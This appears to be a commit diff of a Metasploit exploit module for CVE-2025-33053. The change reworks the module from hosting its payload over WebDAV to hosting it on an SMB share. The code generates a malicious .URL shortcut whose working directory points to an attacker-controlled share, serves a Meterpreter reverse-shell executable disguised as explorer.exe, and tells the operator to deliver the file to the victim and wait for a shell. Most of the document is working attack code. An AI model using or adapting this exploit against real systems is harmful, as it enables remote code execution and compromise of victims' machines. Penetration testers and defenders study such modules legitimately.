1
- # frozen_string_literal: true
1
+ ##
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
2
5
3
- # Metasploit module to exploit CVE-2025-33053 via malicious .URL and WebDAV payload hosting.
4
6
class MetasploitModule < Msf ::Exploit ::Remote
5
7
Rank = NormalRanking
6
8
9
+ include Msf ::Exploit ::Remote ::SMB ::Server ::Share
10
+ include Msf ::Exploit ::Remote ::SMB ::Server ::HashCapture
11
+ include Msf ::Exploit ::FILEFORMAT
12
+ include Msf ::Exploit ::EXE
13
+
7
14
def initialize ( info = { } )
8
15
super (
9
16
update_info (
@@ -17,114 +24,79 @@ def initialize(info = {})
17
24
potentially resulting in remote code execution via a trusted binary.
18
25
} ,
19
26
20
- 'Author' => [ 'Dev Bui Hieu' ] ,
27
+ 'Author' => [
28
+ 'Alexandra Gofman' , # vuln research
29
+ 'David Driker' , # vuln research
30
+ 'Dev Bui Hieu' # module dev
31
+ ] ,
21
32
'License' => MSF_LICENSE ,
22
33
'DisclosureDate' => '2025-06-11' ,
23
34
'References' => [
24
35
[ 'CVE' , '2025-33053' ] ,
25
36
[ 'URL' , 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept' ]
26
37
] ,
27
38
'Platform' => 'win' ,
28
- 'Arch' => ARCH_X64 ,
39
+ 'Arch' => [ ARCH_X64 , ARCH_X86 , ARCH_AARCH64 ] ,
40
+ 'Passive' => true ,
29
41
'Targets' => [ [ 'Windows (generic)' , { } ] ] ,
42
+ 'DefaultOptions' => {
43
+ 'FOLDER_NAME' => 'webdav' ,
44
+ 'FILE_NAME' => 'explorer.exe' ,
45
+ 'DisablePayloadHandler' => false ,
46
+ 'Payload' => 'windows/x64/meterpreter/reverse_tcp'
47
+ } ,
30
48
'DefaultTarget' => 0 ,
31
49
'Notes' => {
32
50
'Stability' => [ CRASH_SAFE ] ,
33
- 'SideEffects' => [ ARTIFACTS_ON_DISK ] ,
51
+ 'SideEffects' => [ IOC_IN_LOGS ] ,
34
52
'Reliability' => [ REPEATABLE_SESSION ]
35
53
}
36
54
)
37
55
)
38
56
39
57
register_options (
40
58
[
41
- OptString . new ( 'OUTFILE' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
42
- OptString . new ( 'PAYLOAD_NAME' , [ true , 'Output payload file name' , 'route.exe' ] ) ,
43
- OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
44
- OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
45
- OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] )
46
- ]
47
- )
48
- register_advanced_options (
49
- [
50
- OptString . new ( 'LOLBAS_EXE' ,
51
- [ true , 'Path to trusted binary (LOLBAS)' , 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe' ] ) ,
52
- OptString . new ( 'ICON_PATH' ,
53
- [ true , 'Icon file path' , 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe' ] ) ,
54
- OptInt . new ( 'ICON_INDEX' , [ true , 'Icon index in icon file' , 13 ] ) ,
55
- OptString . new ( 'MODIFIED_HEX' , [ true , 'Modified timestamp in hex' , '20F06BA06D07BD014D' ] )
56
- ]
59
+ OptString . new ( 'OUTFILE' , [ false , 'Output URL file name' , '' ] ) ,
60
+ ] , self . class
57
61
)
58
62
end
59
63
60
- def exploit
61
- prepare_webdav_dir
62
- generate_payload_if_needed
63
- write_url_file
64
- print_status ( "Module complete. Deliver #{ File . expand_path ( datastore [ 'OUTFILE' ] ) } to victim." )
65
- end
64
+ def exploit_remote_load
65
+ start_service
66
+ print_status ( 'The SMB service has been started.' )
66
67
67
- def prepare_webdav_dir
68
- print_status ( 'Creating WebDAV directory if not exists...' )
69
- FileUtils . mkdir_p ( datastore [ 'WEBDAV_DIR' ] ) unless File . directory? ( datastore [ 'WEBDAV_DIR' ] )
70
- rescue Errno ::EACCES
71
- fail_with ( Failure ::NoAccess ,
72
- "Cannot create WebDAV directory. Permission denied.\n " \
73
- "Try restarting Metasploit with sudo or change ownership of #{ datastore [ 'WEBDAV_DIR' ] } ." )
68
+ self . file_contents = generate_payload_exe
74
69
end
75
70
76
- def generate_payload_if_needed
77
- return unless datastore [ 'GEN_PAYLOAD' ]
78
-
79
- exe_path = File . join ( datastore [ 'WEBDAV_DIR' ] , datastore [ 'PAYLOAD_NAME' ] )
80
- print_status ( 'Generating payload...' )
81
- generate_payload_exe ( datastore [ 'PAYLOAD' ] , datastore [ 'LHOST' ] , datastore [ 'LPORT' ] , exe_path )
82
- end
71
+ def exploit
72
+ write_url_file
73
+ exploit_remote_load
83
74
84
- def generate_payload_exe ( payload_name , lhost , lport , output_path )
85
- payload = framework . payloads . create ( payload_name . to_s . strip )
86
- payload . datastore [ 'LHOST' ] = lhost
87
- payload . datastore [ 'LPORT' ] = lport
88
- raw = payload . generate
89
- exe = Msf ::Util ::EXE . to_win32pe ( framework , raw )
90
- write_exe_file ( output_path , exe )
91
- end
75
+ stime = Time . now . to_f
76
+ timeout = datastore [ 'ListenerTimeout' ] . to_i
77
+ loop do
78
+ break if timeout > 0 && ( stime + timeout < Time . now . to_f )
92
79
93
- def write_exe_file ( path , exe )
94
- File . open ( path , 'wb' ) { |f | f . write ( exe ) }
95
- print_good ( "Payload successfully written to #{ path } " )
96
- rescue Errno ::EACCES
97
- return_error ( path )
80
+ Rex ::ThreadSafe . sleep ( 1 )
81
+ end
98
82
end
99
83
100
84
def write_url_file
101
85
content = generate_url_content
102
- outfile = datastore [ 'OUTFILE' ]
103
- begin
104
- print_status ( 'Generating .URL file...' )
105
- File . write ( outfile , content )
106
- print_good ( ".URL file written to: #{ outfile } " )
107
- rescue Errno ::EACCES
108
- return_error ( File . expand_path ( outfile ) )
109
- end
86
+ outfile = %(#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .url)
87
+ path = store_local ( 'webdav.url' , nil , content , outfile )
88
+ print_status ( "URL file: #{ path } , deliver to target's machine and wait for shell" )
110
89
end
111
90
112
91
def generate_url_content
113
- unc_path = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ File . basename ( datastore [ 'WEBDAV_DIR' ] ) } \\ "
114
92
<<~URLFILE
115
93
[InternetShortcut]
116
- URL=#{ datastore [ 'LOLBAS_EXE' ] }
117
- WorkingDirectory=#{ unc_path }
94
+ URL=C: \\ Windows \\ System32 \\ CustomShellHost.exe
95
+ WorkingDirectory=\\ \\ #{ srvhost } \\ #{ share } \\ #{ folder_name } \\
118
96
ShowCommand=7
119
- IconIndex=#{ datastore [ 'ICON_INDEX' ] }
120
- IconFile=#{ datastore [ 'ICON_PATH' ] }
121
- Modified=#{ datastore [ 'MODIFIED_HEX' ] }
97
+ IconIndex=13
98
+ IconFile=C: \\ Program Files (x86) \\ Microsoft \\ Edge \\ Application \\ msedge.exe
99
+ Modified=20F06BA06D07BD014D
122
100
URLFILE
123
101
end
124
-
125
- def return_error ( currentpath )
126
- fail_with ( Failure ::NoAccess ,
127
- "Cannot write to #{ currentpath } . Permission denied.\n " \
128
- 'Try restarting Metasploit with root privilege.' )
129
- end
130
102
end
0 commit comments